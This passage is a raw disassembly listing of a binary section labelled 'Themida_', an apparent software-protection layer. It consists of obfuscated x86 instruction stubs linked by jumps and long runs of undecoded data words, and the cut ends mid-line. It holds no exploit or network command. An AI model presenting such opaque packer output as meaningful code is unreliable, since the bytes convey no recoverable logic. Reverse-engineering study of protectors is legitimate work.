0EA81FFFFh dd 0E19416EFh, 0ADE9D089h, 0F7FFFF5Ch, 0F7814FD7h, 38D8C24Ah dd 535FF801h, 4BBh, 0BEF3E900h, 0E789FFFFh, 4C781h, 0C7830000h dd 243C8704h, 0E089505Ch, 405h, 4B95100h, 29000000h, 48759C8h dd 0C895C24h, 4B924h, 0CF010000h, 592434FFh, 4C481h, 0C7810000h dd 2, 0FF12E1E9h, 4EC83FFh, 0E9242489h, 0FFFFB623h, 51C30058h dd 0FF120CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5622FD: ; CODE XREF: Themida_:00566C02j jz loc_55D2BF push dword ptr [edi+1Ch] jmp loc_55E1DE ; --------------------------------------------------------------------------- loc_56230B: ; CODE XREF: Themida_:0055B036j add esp, 4 add edx, ecx add edx, 7CC33752h push dword ptr [esp] jmp loc_55EE19 ; --------------------------------------------------------------------------- db 0BAh, 8Fh, 3Bh dd 0D0E96C55h, 83FFFF72h, 0C70104C4h, 8B2434FFh, 0C4832404h dd 0FCE95104h, 81000016h, 0E2B0C2EFh, 4B97E990h, 81420000h dd 0DA0477EAh, 0E9D731ECh, 0FFFF9F0Ah, 45E9C701h, 83FFFFFAh dd 0EB8104C4h, 0AC14030h, 0C8E9C301h, 59FFFF41h, 0FFB50EE9h dd 0E9565FFFh, 0FFFF4BF7h, 80DDB450h, 5CE993C4h, 87FFFF89h dd 96E9240Ch, 4DFFFFA2h, 5C88C581h, 0A3E9D22Eh, 58FFFFFBh dd 0FFC115E9h, 0F6815EFFh, 31CB4B37h, 555EF789h, 5A8E9h db 0 ; --------------------------------------------------------------------------- loc_5623B1: ; CODE XREF: Themida_:005568A7j xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] mov ebx, [esp] jmp loc_563F1D ; --------------------------------------------------------------------------- loc_5623C2: ; CODE XREF: Themida_:005593B2j push ecx mov ecx, esp jmp loc_555A49 ; --------------------------------------------------------------------------- loc_5623CA: ; CODE XREF: Themida_:00558CE9j push eax mov al, 7Dh xchg ch, al jmp loc_5639E2 ; --------------------------------------------------------------------------- dd 5002C483h, 0F48080B4h, 7809E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623E2: ; CODE XREF: Themida_:00565B75j xor ebx, eax pop eax jmp loc_563198 ; --------------------------------------------------------------------------- loc_5623EA: ; CODE XREF: Themida_:0055D5EDj sub cl, 8Bh add al, cl pop ecx pop ecx or ch, al mov eax, [esp] jmp loc_55C961 ; --------------------------------------------------------------------------- loc_5623FB: ; CODE XREF: Themida_:00557EF8j pop edx jmp loc_55BD01 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5E04h, 14875C24h, 34FF5C24h, 0EC835924h, 7A84E904h dd 248BFFFFh, 157E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562422: ; CODE XREF: Themida_:00567111j pop edx add bl, ch sub bl, 66h mov ecx, [esp] add esp, 4 push eax push 66DA02B6h pop eax jmp loc_564E2B ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0B9240C89h, 55CE1D76h, 116AE181h, 0BE56752Ah, 0 dd 0F189CE29h, 0FFD95EE9h, 4B951FFh, 0E9000000h, 0FFFF39A2h dd 8704C683h, 248B2434h, 24348724h, 0FF6625E9h, 68525BFFh dd 6B5Ah, 0B9240C89h, 1B2652CEh, 0E959CA89h, 0C04h, 0FF00E4E9h dd 240483FFh, 24048B04h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 0FF463DE9h, 80D300FFh, 0E95AD5C3h, 0FFFF9E97h, 7EFC05Ah dd 0FFB052E9h, 24EB81FFh, 0E9443119h, 0FFFFF7C9h ; --------------------------------------------------------------------------- loc_5624D0: ; CODE XREF: Themida_:00566893j mov edx, 70782092h jmp loc_56696D ; --------------------------------------------------------------------------- loc_5624DA: ; CODE XREF: Themida_:00554570j sub eax, 1 push edx push ebp jmp loc_55A774 ; --------------------------------------------------------------------------- dd 4C781h, 0EF810000h, 4, 0FF3A44E9h, 0AC6857FFh, 0FF4CAA09h dd 815F2434h, 4C4h, 3EFC100h, 0A656E94Fh, 505AFFFFh, 37BBD2B8h dd 58C60156h, 505EF129h, 1B8h, 58C10100h, 8107E1C1h, 1166E3F1h dd 1FBA5253h, 12C76B1h, 0CB295AD1h, 42C4E959h, 14890000h dd 2606BA24h, 0D131002Ch, 8BCF295Ah, 0C483240Ch, 243C8704h dd 6390E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56255A: ; CODE XREF: Themida_:0055D6EEj push ecx mov ecx, 72671FEFh not ecx inc ecx shl ecx, 8 or ecx, 46442D1Ah sub esp, 4 mov [esp], eax mov eax, 38C64257h sub ecx, eax jmp loc_5561F2 ; --------------------------------------------------------------------------- db 0F6h, 0D4h, 0E9h dd 1505h, 8324048Bh, 0EC8104C4h, 4, 68243C89h, 0B89h, 81242489h dd 42404h, 505F0000h, 0F31F36B8h, 32BA5208h, 2908F31Fh dd 0C7015AD0h, 6824048Bh, 493Ah, 89243C89h, 4C781E7h, 81000000h dd 4C7h, 243C3300h, 33243C31h, 0E95C243Ch, 15h, 81CD015Eh dd 0E85078C5h, 0C583595Bh, 242C8702h, 0FF9AD3E9h, 4C783FFh dd 42FCE9h, 0F08C3500h, 0C2899500h, 0ABBF5758h, 814A9F30h dd 722059E9h, 53F9010Bh, 722059BBh, 5BD9010Bh, 81D1015Fh dd 9F30ABE9h, 73CDE94Ah, 0BD55FFFFh, 0 dd 0EF87FD29h, 0FFED64E9h db 0FFh ; --------------------------------------------------------------------------- loc_562639: ; CODE XREF: Themida_:0055E9DCj pop ebx inc al jmp loc_567D91 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0E9h dd 0FFFFE83Dh, 4C481h, 0C6810000h, 634B7259h, 0FFE40BE9h db 0FFh ; --------------------------------------------------------------------------- loc_562659: ; CODE XREF: Themida_:0056329Aj mov esi, 0B776393h mov edi, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_55EBAF ; --------------------------------------------------------------------------- db 58h, 81h, 0C4h dd 4, 5C24048Fh, 9C240408h, 0FEFEF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_562685: ; CODE XREF: Themida_:0056310Bj or ebx, 57D0736Ah push eax jmp loc_561ED2 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 2F02685Ch, 0CCE90000h, 0FF000009h, 0E95B2434h, 155h dd 8B66F000h, 0F0E92414h, 0C100000Eh, 88E903EDh, 0F7FFFFADh dd 815F2414h, 5DB966C7h, 5FF8291Fh, 0FF0E42E9h, 411868FFh dd 2C890000h, 8EAFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626DA: ; CODE XREF: Themida_:00556175j mov ecx, eax push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_55B34F ; --------------------------------------------------------------------------- dd 2474FF56h, 2434FF04h, 0FF66BDE9h, 5BDF89FFh, 8104EFC1h dd 9B15AFF7h, 8BFA291Eh, 0C481243Ch, 4, 0B4B95156h, 8178CE44h dd 0C44DE6F1h, 924BE924h, 0E3C1FFFFh, 0CAF7E903h, 8852FFFFh dd 8BF788E6h, 89522414h, 4C281E2h, 0E9000000h, 0FFFF7AE0h ; --------------------------------------------------------------------------- loc_56274C: ; CODE XREF: Themida_:0055B905j mov eax, 49251F02h jmp loc_5589F7 ; --------------------------------------------------------------------------- loc_562756: ; CODE XREF: Themida_:00564395j push ebx sub dword ptr [esp], 39DE5B3Eh push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55C1E9 ; --------------------------------------------------------------------------- dd 6A1568h, 243C8900h, 0AD209068h, 243C8B70h, 0FF873CE9h dd 70E950FFh, 0FFFFB8h, 0BA2DE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56278E: ; CODE XREF: Themida_:005610D2j and eax, edx push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 push esi mov esi, 57193A5Bh neg esi jmp loc_563A08 ; --------------------------------------------------------------------------- dw 0C191h dd 0C18105E1h, 17AD7F9Ah, 8106E9C1h, 28F61AE9h, 0FFCD0102h dd 83592434h, 685004C4h, 40E9h, 68242C89h, 66DF18B5h, 0C3ED815Dh dd 892DFCF5h, 0C1485DE8h, 0BA5205E8h, 4D113624h, 2B35C281h dd 0DAF743B9h, 0A0E9h db 0 ; --------------------------------------------------------------------------- loc_5627F5: ; CODE XREF: Themida_:0055615Dj add esp, 4 jmp loc_55297E ; --------------------------------------------------------------------------- db 52h, 54h, 5Ah dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFF13DBh ; --------------------------------------------------------------------------- loc_562814: ; CODE XREF: Themida_:005579A3j mov edx, eax pop eax push 2AF4h mov [esp], esi jmp loc_55FFEB ; --------------------------------------------------------------------------- dd 8B240433h, 34872424h, 42E95C24h, 87FFFF57h, 5CF381FBh dd 0E9E8DE2Ah, 19A6h, 4C7815Fh, 0E9000000h, 0FFFFE55Bh ; --------------------------------------------------------------------------- loc_56284C: ; CODE XREF: Themida_:00565C74j mov [esp], ecx jmp loc_565AA9 ; --------------------------------------------------------------------------- dd 4C48159h, 87000000h, 31E92404h, 8BFFFF34h, 68562424h dd 72A9h, 0FF3119E9h, 4EC81FFh, 0E9000000h, 0FFFF4437h ; --------------------------------------------------------------------------- loc_56287C: ; CODE XREF: Themida_:00553094j mov edi, 85149F8Dh sub edi, ebp pop ebp push edi not dword ptr [esp] jmp loc_5525F2 ; --------------------------------------------------------------------------- db 46h, 0F7h, 0DEh dd 0FF0F05E9h, 0BEE281FFh, 8119C653h, 71B7D7EAh, 5AD0318Fh dd 9FE9D0F7h, 5BFFFFE6h, 0C9325B2Dh, 0DE8D100h, 3BD93735h dd 0EA7EBF0Dh, 6903556h, 982D1C2Dh, 313BFC57h, 0ECE958C5h db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5628CF: ; CODE XREF: Themida_:00564F36j mov cl, 7Dh jmp loc_567B9C ; --------------------------------------------------------------------------- loc_5628D6: ; CODE XREF: Themida_:005561EDj pop dx mov bl, al push dword ptr [esp] jmp loc_5553AF ; --------------------------------------------------------------------------- dw 0D5F7h dd 5F73F581h, 0EF01CDFEh, 1B40E9h, 81C22900h, 0BA231FC2h dd 0EA815858h, 21F7001Fh, 0FF1E30E9h, 81E589FFh, 4C5h dd 4C58300h, 5C242C87h, 0FF28DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_562919: ; CODE XREF: Themida_:0055FB12j pop ecx jmp loc_567D51 ; --------------------------------------------------------------------------- loc_56291F: ; CODE XREF: Themida_:00564689j xchg edx, [esp] pop esp loc_562923: ; CODE XREF: Themida_:00567B00j sub esp, 4 mov [esp], ebx add dword ptr [esp], 725C2578h push dword ptr [esp] mov eax, [esp] add esp, 4 push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 4E99h mov [esp], edx jmp loc_566EB7 ; --------------------------------------------------------------------------- db 0BDh, 68h, 61h dd 6C012981h, 15D0824h, 0E904247Ch, 0FFFF44FAh, 0D7F7E7D1h dd 42BE5655h, 817E3241h, 7B2420C6h, 0B9514615h, 2ED31593h dd 8959CE29h, 454D5EF5h, 4E25BF57h, 0FD094D81h, 0C4BF575Fh dd 5570DA19h, 952C9BBDh, 3D07E901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5629A6: ; CODE XREF: Themida_:00554480j push 4273h mov [esp], edx jmp loc_55FD37 ; --------------------------------------------------------------------------- db 87h dd 6EE9242Ch, 50FFFFD5h, 42474FFh, 8124048Bh, 4C4h, 24048F00h dd 6624248Bh, 57240C8Bh, 0FFF910E9h, 4C483FFh, 6E8B68h dd 240C8900h, 4B68E189h, 89000066h, 68552434h, 56261BB1h dd 0B0CD815Dh, 0F7275E20h, 78C581DDh, 0E9166D5Ah, 0FFFF0944h dd 33E9E689h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_562A0F: ; CODE XREF: Themida_:0055F2FFj mov edx, [esp] add esp, 4 push ebx mov ebx, 2A0B23ACh sub esi, 16490F19h add esi, ebx add esi, 16490F19h push dword ptr [esp] pop ebx add esp, 4 xor esi, 6BB04107h push ebx push ebp mov ebp, 10BA12FBh mov ebx, 5BE12AE1h xor ebx, ebp pop ebp add ebx, 0B68BF9D4h and esi, ebx pop ebx sub esi, 9291D4DAh or esi, 5FD95DE5h not esi shl esi, 2 add esi, 49403BD7h mov [edi+20h], esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi pop edi jmp loc_557C41 ; --------------------------------------------------------------------------- loc_562A82: ; CODE XREF: Themida_:0055C1A6j mov edx, 0A0D04C3h push ebx mov ebx, 555F1814h jmp loc_55595F ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 0FEFF78E9h, 8BF829FFh, 1BE9243Ch, 81FFFF23h dd 468C5F6h, 0E9F731F5h, 34CEh, 8924248Bh, 0E5E9243Ch db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562ABF: ; CODE XREF: Themida_:00553DB8j dec ecx shl ecx, 5 inc ecx neg ecx jmp loc_56087F ; --------------------------------------------------------------------------- db 5Fh dd 0D01B850h, 0E9526AA3h, 0FFFF2479h ; --------------------------------------------------------------------------- loc_562AD8: ; CODE XREF: Themida_:0055C96Aj push edx mov dh, 15h add dh, 51h jmp loc_56710F ; --------------------------------------------------------------------------- db 52h dd 42474FFh, 4028E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AEE: ; CODE XREF: Themida_:0056719Ej sub eax, ebp sub eax, 173745DAh jmp loc_566EDB ; --------------------------------------------------------------------------- dw 0C8Bh aHuf db '$hξF',0 align 2 dw 3C89h dd 0E9E78924h, 0FFFFAC75h ; --------------------------------------------------------------------------- loc_562B0C: ; CODE XREF: Themida_:00552581j mov ch, 39h jmp loc_55E95A ; --------------------------------------------------------------------------- db 68h dd 9DAh, 83242489h, 0FF042404h, 348B2434h, 0EBD1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B2A: ; CODE XREF: Themida_:005557D9j mov ebp, esp push ebx mov ebx, 14FD7B7Ch sub ebx, 65AD418Ch or ebx, 13747DFDh push ebx jmp loc_553BD2 ; --------------------------------------------------------------------------- dd 0B8505156h, 610F63CDh, 0FF61A4E9h db 0FFh ; --------------------------------------------------------------------------- loc_562B51: ; CODE XREF: Themida_:00552E4Aj shl ebx, 8 sub ebx, 299A07F0h mov edi, ebx pop ebx jmp loc_5553F2 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815924h, 4, 0E90AC380h, 0FFFF2700h ; --------------------------------------------------------------------------- loc_562B74: ; CODE XREF: Themida_:005566E0j push ecx mov ecx, 7A2112B3h push esi mov esi, ecx mov ebp, esi pop esi push dword ptr [esp] mov ecx, [esp] push edx jmp loc_552DC8 ; --------------------------------------------------------------------------- dd 0E95A6658h, 43Fh, 242C8B59h, 3C84E9h, 2C48300h, 595D68h dd 5976E900h, 0E089FFFFh, 4BF57h, 0E90000h, 1FFFFA7h, 0EF015AD7h dd 31A2EF81h, 0B8500815h, 71ED414Eh, 6DEBC781h, 0C701045Bh dd 6DEBEF81h, 0C4E9045Bh, 4DFFFF8Eh, 0FFD90FE9h db 0FFh ; --------------------------------------------------------------------------- loc_562BE1: ; CODE XREF: Themida_:00560342j pop ebp jmp loc_55C19B ; --------------------------------------------------------------------------- db 5Eh dd 34FFC801h, 0FC62E924h, 0D768FFFFh, 89000072h, 0ABE92404h dd 89FFFFFFh, 5FE92404h, 2100004Dh, 0E9535BDAh, 0FFFFEC11h dd 382DF829h, 5F2C9765h, 7C05C801h, 0E902E159h, 0FFFFD87Bh dd 0CF86D9F6h, 0C7C780h, 199AE9F8h, 1489FFFFh, 71506824h dd 6EE96550h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C3F: ; CODE XREF: Themida_:0055FD32j xor ebx, 62DD636Ah add ebx, 2B5EB77Bh sub esi, 4A0B5734h add esi, 57BC26FBh jmp loc_561C12 ; --------------------------------------------------------------------------- loc_562C5C: ; CODE XREF: Themida_:00566F40j push ecx jmp loc_556D08 ; --------------------------------------------------------------------------- dw 0B951h dd 7FA2519Ah, 0C159CA31h, 0E2C107EAh, 0E6C28106h, 2154D7F0h dd 0A4E95AD3h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C7F: ; CODE XREF: Themida_:00559163j push esp mov eax, [esp] push eax push esp jmp loc_567418 ; --------------------------------------------------------------------------- dw 868h dd 8B546F18h, 0C481242Ch, 4, 0FF8E0FE9h, 0C9C680FFh, 4EC81h dd 1C890000h, 8029B724h, 0C680BDC7h, 80FE00ABh, 0E95BABEEh dd 0FFFF0DC9h, 0E9242C89h, 0FFFF78D8h, 0FFC0B60Fh, 0AAE98734h dd 8FFFFEF8h, 0EC812404h, 4, 0BD242C89h, 4, 4246C01h, 9068595Dh dd 89000073h, 5F68241Ch, 0E9000077h, 4922h ; --------------------------------------------------------------------------- loc_562CF8: ; CODE XREF: Themida_:005597B8j mov edi, 42BE0424h shr edi, 3 push esi jmp loc_555685 ; --------------------------------------------------------------------------- dw 5246h dd 0FF952CE9h, 24148BFFh, 4C481h, 71E90000h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D1B: ; CODE XREF: Themida_:005581C3j xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 0A607F40h jmp loc_553E3C ; --------------------------------------------------------------------------- dd 2C47C681h, 0DE2913ABh, 2C47EE81h, 0C68113ABh, 3D662348h dd 1BC9E9h, 7658BE00h, 55574E0Bh, 232F6EBDh, 5DEF890Dh dd 8247C01h, 2444815Fh, 9394604h, 24740172h, 246C8104h dd 9394604h, 0A0E95172h, 89FFFF58h, 4C381E3h, 68000000h dd 5B89h, 0BE243489h, 4, 2DB2E9h, 40126800h, 4BE90000h dd 81FFFF3Ah, 94319BEAh, 69D3E938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562DA2: ; CODE XREF: Themida_:00567748j mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_556A0F ; --------------------------------------------------------------------------- dd 0E924048Bh, 0FFFFFFC1h, 0E9243489h, 0FFFFC58Dh, 0D1C1805Bh dd 4EE9C800h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562DDF: ; CODE XREF: Themida_:00559041j pop dword ptr [esp] mov esp, [esp] or eax, eax jnz loc_55D356 push edx jmp loc_556DF2 ; --------------------------------------------------------------------------- db 51h dd 0C44C39B9h, 0CE83B865h, 0C801992Fh, 0ECD7E959h, 0A8B3FFFFh dd 6DF8E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E0E: ; CODE XREF: Themida_:00564DCFj push ecx mov ecx, 2A3E1101h inc ecx push edx mov edx, 1ACE172Dh xor edx, 0CF0FF82Fh add ecx, edx jmp loc_554E13 ; --------------------------------------------------------------------------- loc_562E28: ; CODE XREF: Themida_:00561A53j push edi mov edi, 6C285C08h not edi push eax mov eax, 2EE707F7h inc eax not eax add eax, 0D700B3BFh jmp loc_553636 ; --------------------------------------------------------------------------- db 81h dd 0BA3290E5h, 2ED813Ah, 81304A11h, 0E5F0FAEDh, 5DE801F1h dd 8704C083h, 8F5C2404h, 248B2404h, 0A535E924h, 5954FFFFh dd 3214E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E72: ; CODE XREF: Themida_:0055402Aj pop edi jmp loc_5540C6 ; --------------------------------------------------------------------------- dd 96E9C300h, 0BBFFFFEFh, 1B8311D9h, 722DE381h, 0EB817EECh dd 35607166h, 3B24EB81h, 0DD898D43h, 0FFB6BAE9h, 4E2468FFh dd 3C890000h, 14D26824h, 34890000h, 4BE24h, 47680000h dd 89000012h, 5A562414h, 5E5AD789h, 67DAC181h, 0E9814F44h dd 2EE912BDh, 0F5E9F901h db 3 dup(0) ; --------------------------------------------------------------------------- loc_562ED3: ; CODE XREF: Themida_:00557495j sub ebx, 21796F2Bh pop ecx push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp mov eax, [esp] add esp, 4 push 7179h mov [esp], ebp push 2662D19h pop ebp push eax mov eax, 49376DD6h jmp loc_55BF98 ; --------------------------------------------------------------------------- aJsbg db 'JιbG',0 db 0 ; --------------------------------------------------------------------------- loc_562F0F: ; CODE XREF: Themida_:0055ABD1j mov ecx, esp jmp loc_564818 ; --------------------------------------------------------------------------- dw 0BA52h dd 51F34A1Dh, 4245431h, 0F3815B5Ah, 51F34A1Dh, 0E924148Bh dd 0FFFF2504h ; --------------------------------------------------------------------------- loc_562F30: ; CODE XREF: Themida_:0055DBEDj xor edx, 0C94A9075h jmp loc_566FB5 ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFF9067h, 742DD8F7h, 0E91FF44Ah, 0FFFF67BFh ; --------------------------------------------------------------------------- loc_562F50: ; CODE XREF: Themida_:0056412Bj push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_55CF17 ; --------------------------------------------------------------------------- dd 27B2E95Ch, 5429FFFFh, 0E95A0824h, 3E1Eh ; --------------------------------------------------------------------------- loc_562F88: ; CODE XREF: Themida_:00558748j mov ecx, [esp] add esp, 4 push dword ptr [esp] jmp loc_55C96F ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 0FEFCBBE9h, 4C681FFh, 83000000h, 0FF5604C6h, 5E042474h dd 5C24048Fh, 4C781h, 0E9510000h, 0FFFF3D66h, 0E9515251h dd 3B11h, 12BDC181h, 42E92EE9h, 88FFFFB6h, 2434FFD8h, 0FFD1E3E9h dd 5DE989FFh, 3575BB53h, 0EBC13426h, 0BBCB8106h, 877C8501h dd 87D7F7FBh, 0F19DE9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FFA: ; CODE XREF: Themida_:00553EE2j mov edx, 66BF2A29h sub ebx, edx pop edx sub ebx, 59E87BD0h add ebx, edx add ebx, 59E87BD0h add ebx, 66BF2A29h sub ebx, 3BFF380Dh mov dword ptr [ebx], 0 mov ebx, [esp] add esp, 4 popa jmp loc_559920 ; --------------------------------------------------------------------------- loc_563031: ; CODE XREF: Themida_:0055A09Ej std push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5556AD ; --------------------------------------------------------------------------- loc_563047: ; CODE XREF: Themida_:00559887j push 5865h mov [esp], ebp push esp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 34442B03h shl ebx, 8 push esi push eax mov eax, 615C6B5Ch jmp loc_55F815 ; --------------------------------------------------------------------------- db 89h dd 0A7B62414h, 0B7B25250h, 0E95AD488h, 2D12h, 64E868h dd 24248900h, 4240483h, 18AFE9h, 0E9D1B200h, 0FFFF2BA9h dd 3519F281h, 0DAF74CC7h, 740FE281h, 0E281367Ch, 61266516h dd 207DB951h, 3DE91B26h, 30FFFEFBh, 0C0FE5BF8h, 9E2CD8F6h dd 12E9C388h, 0F7FFFFC2h, 0BFF281D2h, 0E9125E2Ah, 0FFFFDD8Bh dd 5A241429h, 2F53E9h, 66FE3000h, 81241C8Bh, 2C4h, 0FFF13000h dd 815A2434h, 4C4h, 7BC18000h, 0C1FED1F6h, 3042B652h, 1343E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563102: ; CODE XREF: Themida_:005525BCj mov [esp], esi push ebx mov ebx, 2A1477ADh jmp loc_562685 ; --------------------------------------------------------------------------- loc_563110: ; CODE XREF: Themida_:00567B97j pop ebx inc ecx xor ecx, 2964053Ah shl ecx, 7 sub ecx, 4C140D2Ah jmp loc_557A8F ; --------------------------------------------------------------------------- dw 15Eh dd 0AE03E9D0h, 8B66FFFFh, 5EE92404h, 5BFFFF67h, 4C481h dd 0C4830000h, 24048F04h, 0FF72B4E9h, 48B66FFh, 173E6824h dd 2C890000h, 3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56315A: ; CODE XREF: Themida_:0055404Aj pop ebx push edi dec dword ptr [esp] jmp loc_567C05 ; --------------------------------------------------------------------------- dd 240C8B66h, 5585450h, 4, 5FD268h, 24148900h, 0E9E38953h dd 0FFFF6CA4h ; --------------------------------------------------------------------------- loc_563180: ; CODE XREF: Themida_:00564B96j inc ecx not ecx jmp loc_566FE6 ; --------------------------------------------------------------------------- loc_563188: ; CODE XREF: Themida_:00560B11j push esi mov esi, 43C2DA6h xor edx, esi pop esi xor ecx, edx jmp loc_56451F ; --------------------------------------------------------------------------- loc_563198: ; CODE XREF: Themida_:005623E5j xor ebx, 2F40512Bh push ebx jmp loc_552854 ; --------------------------------------------------------------------------- dd 0CEE9C231h, 81FFFEF3h, 0B104246Ch, 170272Dh, 5304244Ch dd 0FF36BDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5631BD: ; CODE XREF: Themida_:005644DDj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] mov esi, [esp] add esp, 4 push ecx jmp loc_55A1AC ; --------------------------------------------------------------------------- db 8Bh dd 0E9552404h, 0FFFFF71Dh, 8000B353h, 0E380D1C3h, 80C3FE78h dd 0F3801DC3h, 25D1E99Fh, 5152FFFFh, 42A6E9h db 0 ; --------------------------------------------------------------------------- loc_563205: ; CODE XREF: Themida_:005612EBj push 50B0h mov [esp], ebx jmp loc_55C6DB ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4EE81h, 34870000h, 2C895C24h, 20BEBD24h, 0E82953C0h dd 2133E9h db 0 ; --------------------------------------------------------------------------- loc_563231: ; CODE XREF: Themida_:00557C4Aj mov esp, [esp] sub [edi+20h], edx push dword ptr [esp] jmp loc_56072C ; --------------------------------------------------------------------------- loc_56323F: ; CODE XREF: Themida_:005559BCj pop edx push eax mov eax, 12493996h add eax, 56D15922h jmp loc_55401A ; --------------------------------------------------------------------------- loc_563250: ; CODE XREF: Themida_:00558479j add esp, 4 jmp loc_56119B ; --------------------------------------------------------------------------- dd 99C380h, 99EB80E3h, 0BA72E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563266: ; CODE XREF: Themida_:005553C1j pop ebp push edx push ebx push edi jmp loc_5666EB ; --------------------------------------------------------------------------- aSa4 db ']ι4',0 db 0 ; --------------------------------------------------------------------------- loc_563275: ; CODE XREF: Themida_:0056730Dj xchg edi, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push 1EB2h mov [esp], edi push 6D57h mov [esp], esi jmp loc_562659 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEF2D5h ; --------------------------------------------------------------------------- loc_5632A4: ; CODE XREF: Themida_:0055E13Dj mov [esp], edi push esi jmp loc_558F93 ; --------------------------------------------------------------------------- loc_5632AD: ; CODE XREF: Themida_:00564D12j mov edi, [esp] jmp loc_55C950 ; --------------------------------------------------------------------------- db 0B4h, 26h, 0 dd 0E95B58E1h, 0FFFFC233h, 8826E95Dh, 0D788FFFFh, 3528E9h dd 0CFF5300h, 0E3C15B24h, 68EB8708h, 0 dd 0E9242C29h, 0FFFFA047h ; --------------------------------------------------------------------------- loc_5632E4: ; CODE XREF: Themida_:0055DEC5j add eax, 4 push 3B9h mov [esp], edx mov edx, 4 add eax, edx pop edx xchg eax, [esp] pop esp sub eax, esi add eax, 0C381EFEh pop esi push 15E9h mov [esp], esi sub esp, 4 jmp loc_55F7F4 ; --------------------------------------------------------------------------- loc_563318: ; CODE XREF: Themida_:00563683j pop ecx sub esp, 4 mov [esp], edx jmp loc_564C01 ; --------------------------------------------------------------------------- loc_563327: ; CODE XREF: Themida_:005554C4j xor eax, edx mov edx, [esp] jmp loc_557F91 ; --------------------------------------------------------------------------- db 0B9h, 0E8h, 25h dd 0C98112F1h, 6164C0Ah, 0E9C1E9D1h, 6E9C108h, 25F18141h dd 0E9490738h, 0FFFF2DCAh, 59CD015Ah, 0FFFC67E9h, 74FF56FFh dd 348B0424h, 4C48324h, 5C24048Fh, 8904EC83h, 5954240Ch dd 4C181h, 0E9520000h, 0FFFFB271h, 0D9E9D101h, 29FFFFA8h dd 56505EF2h, 0EE44AFBEh, 2EE8109h, 56A9D174h, 0C6DE9h dd 0F1015A00h, 240C875Eh, 328CE95Ch, 0E95D0000h, 0FFFF0E44h dd 0D375C781h, 0FA01E58Ch, 0FF2D70E9h, 24048FFFh, 0D324248Bh dd 0E99C2424h, 0FFFF7DD0h ; --------------------------------------------------------------------------- loc_5633C8: ; CODE XREF: Themida_:005561B7j mov edx, 4 add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp jmp loc_55FC27 ; --------------------------------------------------------------------------- db 66h dd 0E9240489h, 0FFFEF195h, 405E089h, 0E9000000h, 0FFFFD573h ; --------------------------------------------------------------------------- loc_5633F0: ; CODE XREF: Themida_:00558D60j add ebp, edx mov edx, [esp] add esp, 4 xor ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_55D3D5 ; --------------------------------------------------------------------------- dd 0C8BCB88h, 4C48124h, 68000000h, 6B4Ah, 2D3AE9h, 0CEED8000h dd 0FFCC71E9h, 0C1D3F7FFh, 0EBC102EBh, 51D3F704h, 11532AB9h dd 59CB210Fh, 28B5E9h, 0D830AC00h, 71EE68h, 240C8900h dd 8904EC83h, 0B3E9241Ch, 87000035h, 895C240Ch, 4BB241Ch dd 0E9000000h, 0E27h, 15BDD01h, 0B4E95DE8h, 0F7FFFFB6h dd 0E9D1F7D1h, 